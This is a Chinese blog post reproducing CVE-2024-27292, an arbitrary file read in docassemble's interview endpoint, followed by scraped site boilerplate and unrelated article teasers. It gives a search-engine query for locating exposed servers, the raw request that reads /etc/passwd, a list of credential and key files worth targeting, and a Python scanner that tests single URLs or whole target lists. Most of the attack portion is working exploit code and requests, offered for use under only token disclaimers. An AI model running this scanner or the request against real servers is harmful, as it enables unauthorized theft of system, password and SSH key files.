【漏洞复现】docassemble——interview——任意文件读取

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。

文章目录

  • 漏洞描述
  • 漏洞复现
  • 测试工具


漏洞描述

docassemble 是一款强大的开源工具,它让自动化生成和定制复杂法律文档变得易如反掌。通过这个平台,用户可以构建交互式访谈,收集必要的信息,并自动生成符合需求的文件。无论你是律师、行政助理还是研究人员,docassemble 都能极大地提高你的工作效率。其接口interview存在任意文件读取漏洞,攻击者可通过该漏洞获取系统敏感文件。

漏洞复现

1)信息收集
fofa:icon_hash="-575790689"
在这里插入图片描述
失败是成功之母,不失败怎么能成功?
在这里插入图片描述
2)构造数据包

GET /interview?i=/etc/passwd HTTP/1.1
Host:ip

在这里插入图片描述
回显内容包含passwd文件,验证成功,存在任意文件读取漏洞。

在Linux系统中,有许多文件被认为是敏感的,因为它们包含了系统配置、用户数据和其他重要信息。以下是一些常见的Linux系统中的敏感文件:

  1. /etc/passwd - 存储用户账户信息。
  2. /etc/shadow - 存储加密的用户密码。
  3. /etc/group - 存储用户组信息。
  4. /etc/gshadow - 存储加密的用户组密码。
  5. /etc/ssh/ssh_host_*_key - SSH主机密钥文件。

切记!!不要违法!!!

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于解析命令行参数
import argparse
# 导入time库,虽然在这段代码中未使用,但可能用于其他目的,比如等待或延迟
import time
# 从urllib3库导入InsecureRequestWarning,用于忽略SSL警告
from urllib3.exceptions import InsecureRequestWarning# 定义打印颜色常量
RED = '\033[91m'  # 红色
RESET = '\033[0m'  # 重置颜色# 忽略不安全请求的警告,避免在请求HTTPS时提示不安全警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定义检查漏洞的函数
def check_vulnerability(url):try:# 去除URL末尾的斜杠,并构造完整的攻击URLattack_url = url.rstrip('/') + "/interview?i=/etc/passwd"# 发送GET请求到攻击URL,不验证SSL证书,超时时间设置为10秒response = requests.get(attack_url, verify=False, timeout=10)# 检查HTTP响应状态码和响应体中的关键字,判断是否存在漏洞if response.status_code == 200 and 'root' in response.text:print(f"{RED}URL [{url}] 可能存在CVE-2024-27292 任意文件读取漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")# 捕获请求超时异常,提示可能存在漏洞except requests.exceptions.Timeout:print(f"URL [{url}] 请求超时,可能存在漏洞")# 捕获其他请求异常,打印错误信息except requests.RequestException as e:print(f"URL [{url}] 请求失败: {e}")# 定义主函数,用于解析命令行参数并调用检查函数
def main():# 创建ArgumentParser对象,用于解析命令行参数parser = argparse.ArgumentParser(description='检测目标地址是否存在CVE-2024-27292 任意文件读取漏洞')# 添加命令行参数,用于指定目标URLparser.add_argument('-u', '--url', help='指定目标地址')# 添加命令行参数,用于指定包含目标地址的文本文件parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果指定了单个URL,则检查该URL是否存在漏洞if args.url:# 如果URL未以http://或https://开头,则添加http://前缀if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了文件,则逐行读取文件中的URL并检查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL未以http://或https://开头,则添加http://前缀if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 程序入口点
if __name__ == '__main__':main()

运行过程:
在这里插入图片描述


装作拥有某样品质,实际上就等于承认了自己并没有这样品质。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/43514.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux_进程概念——理解冯诺依曼体系结构

前言: 本篇内容是为了让友友们较好地理解进程的概念, 而在真正了解进行概念之前, 要先了解一下冯诺依曼体系结构。 所以博主会先对冯诺伊曼体系结构进行解释, 然后再讲解进程的概念。 ps: 本篇内容适合了解一些linux指…

openfoam生成的非均匀固体Solid数据分析、VTK数据格式分析、以及paraview官方用户指导文档和使用方法

一、openfoam生成的非均匀固体Solid数据分析 对于Solid/dealii-output文件,固体的数据文件, # vtk DataFile Version 3.0 #This file was generated by the deal.II library on 2024/7/10 at 9:46:15 ASCII DATASET UNSTRUCTURED_GRIDPOINTS 108000 do…

go1.21版本后,文件加载顺序

总结 显式引入: 同一个文件显式引入一个包,按照页面代码执行的函数的先后,来执行该函数的文件,不按照包内的文件首字母顺序 隐式引入: 同一个文件内隐式引入一个包,包内的多个文件会按照文件首字母顺序执行…

移动端 图片优化

项目场景: 在移动端开发,加载图片并保持图片不变形是非常重要的,也是一名前端必备和经常打交道的内容。以下是自己对图片加载是变形的处理? 问题和解决方法 移动端加载图片,不同的手机,图片的展示不一样&…

二分查找理论及例题

二分查找(Binary Search)是一种常用的搜索算法,用于在有序数组中快速查找目标值。以下是二分查找的详细理论知识、优缺点以及适用场景: 理论知识: 基本原理:二分查找通过比较目标值与数组的中间元素&#x…

Qt(五)网络编程

文章目录 一、QTcpServer类(一)使用(二)示例1. 服务端2. 客户端: 二、 一、QTcpServer类 QTcpServer类用于监听客户端的连接,每当有一个客户端连接到服务端,都会生成一个新的QTcpSocket对象与客…

【每日一练】python面对对象的基本概念和用法(附实例)

面向对象编程(OOP)是一种程序设计方法,其基本概念包括对象、类、继承和封装。 对象:对象是系统中的基本单位,用于描述客观事物。每个对象包含一组属性和对这些属性进行操作的方法。对象是类的一个实例,具有…

Spark SQL----NULL语义

Spark SQL----NULL语义 一、比较运算符中的空处理二、逻辑运算符中的空处理三、表达式中的空处理3.1 null-intolerant表达式中的空处理3.2 可以处理空值操作数的空处理表达式3.3 内置聚合表达式中的空处理 四、WHERE、HAVING和JOIN子句中的条件表达式的空处理五、在GROUP BY和D…

Camera Raw:直方图

Camera Raw 的直方图 Histogram面板不仅提供了照片亮度和色彩分布信息,还具备多项实用功能,辅助评估和调整照片。 ◆ ◆ ◆ 直方图的构成 直方图是一个二维坐标系统,横坐标表示不同程度的像素亮度,从左到右通常对应的是 0 ~ 255…

升级springboot3.2集成shiro的问题

由于之前的springcloud相关版本太久,很多新功能无法使用,所以打算抽时间把代码的版本做一下升级。使用最新版的springboot3.2,发现shiro过滤器无效。经检查发现原因: springboot3.x使用的是JDK17,从jdk8以后javax.serv…

视频智能解析:Transformer模型在视频理解的突破性应用

视频智能解析:Transformer模型在视频理解的突破性应用 随着人工智能技术的飞速发展,视频理解已成为计算机视觉领域的一个热点问题。Transformer模型,以其在处理序列数据方面的强大能力,已经被广泛应用于视频理解任务中。本文将深…

Github 2024-07-11 Go开源项目日报 Top10

根据Github Trendings的统计,今日(2024-07-11统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Go项目10Solidity项目1Python项目1frp: 一个开源的快速反向代理 创建周期:2946 天开发语言:Go协议类型:Apache License 2.0Star数量:75872 …

Spring的bean的生命周期——bean的创建与销毁

1、生成类信息map 扫描包,用asm技术获取类信息,打了ComponentScancomponentservice等注解的类会放入map。key是类名,value是beanDefinition类的基本信息 2、加载类 context.getBean("userService") 从类信息map中获取beanDefin…

SSRF漏洞深入利用与防御方案绕过技巧

文章目录 前言SSRF基础利用1.1 http://内网资源访问1.2 file:///读取内网文件1.3 dict://探测内网端口 SSRF进阶利用2.1 Gopher协议Post请求2.2 Gopher协议文件上传2.3 GopherRedis->RCE2.4 JavaWeb中的适用性? SSRF防御绕过3.1 Url黑名单检测的绕过3.2 Url白名单…

对controller层进行深入学习

目录 1. controller层是干什么的?1.1 controller原理图1.2 controller层为什么要存在?1.2.1 分离关注点1.2.2 响应HTTP请求1.2.3 数据处理与转换1.2.4 错误处理与状态管理1.2.5 流程控制1.2.6 依赖注入与测试 1.3 controller层的优点1.3.1 多端支持1.3.2…

Gin框架自定义路由

Gin框架是一个用Go语言(Golang)编写的Web框架,它提供了灵活且高效的路由系统。在Gin框架中,自定义路由是一个基础且重要的操作,它允许开发者定义应用程序如何处理不同的HTTP请求。以下是自定义路由的详细步骤和方法&am…

Linux虚拟化大师:使用 KVM 和 QEMU 进行高级虚拟化管理

Linux 虚拟化大师:使用 KVM 和 QEMU 进行高级虚拟化管理 虚拟化技术是现代数据中心的核心技术之一,它可以将一台物理服务器分割成多个虚拟机,从而提高资源利用率,降低成本,并增强系统的灵活性和可扩展性。KVM&#xf…

C++ | Leetcode C++题解之第225题用队列实现栈

题目&#xff1a; 题解&#xff1a; class MyStack { public:queue<int> q;/** Initialize your data structure here. */MyStack() {}/** Push element x onto stack. */void push(int x) {int n q.size();q.push(x);for (int i 0; i < n; i) {q.push(q.front());…

C++ 【 Open3D 】 点云按高程进行赋色

一、 Open3D中根据点云的高程度信息为点云中的每个点附上颜色&#xff0c;并保存颜色渲染结果&#xff01; #include<iostream> #include<open3d/Open3D.h>using namespace std;int main() {//-------------------------------读取点云--------------------------…

nasa数据集——1 度网格单元的全球月度土壤湿度统计数据

AMSR-E/Aqua level 3 global monthly Surface Soil Moisture Averages V005 (AMSRE_AVRMO) at GES DISC GES DISC 的 AMSR-E/Aqua 第 3 级全球地表土壤水分月平均值 V005 (AMSRE_AVRMO) AMSR-E/Aqua level 3 global monthly Surface Soil Moisture Standard Deviation V005 (…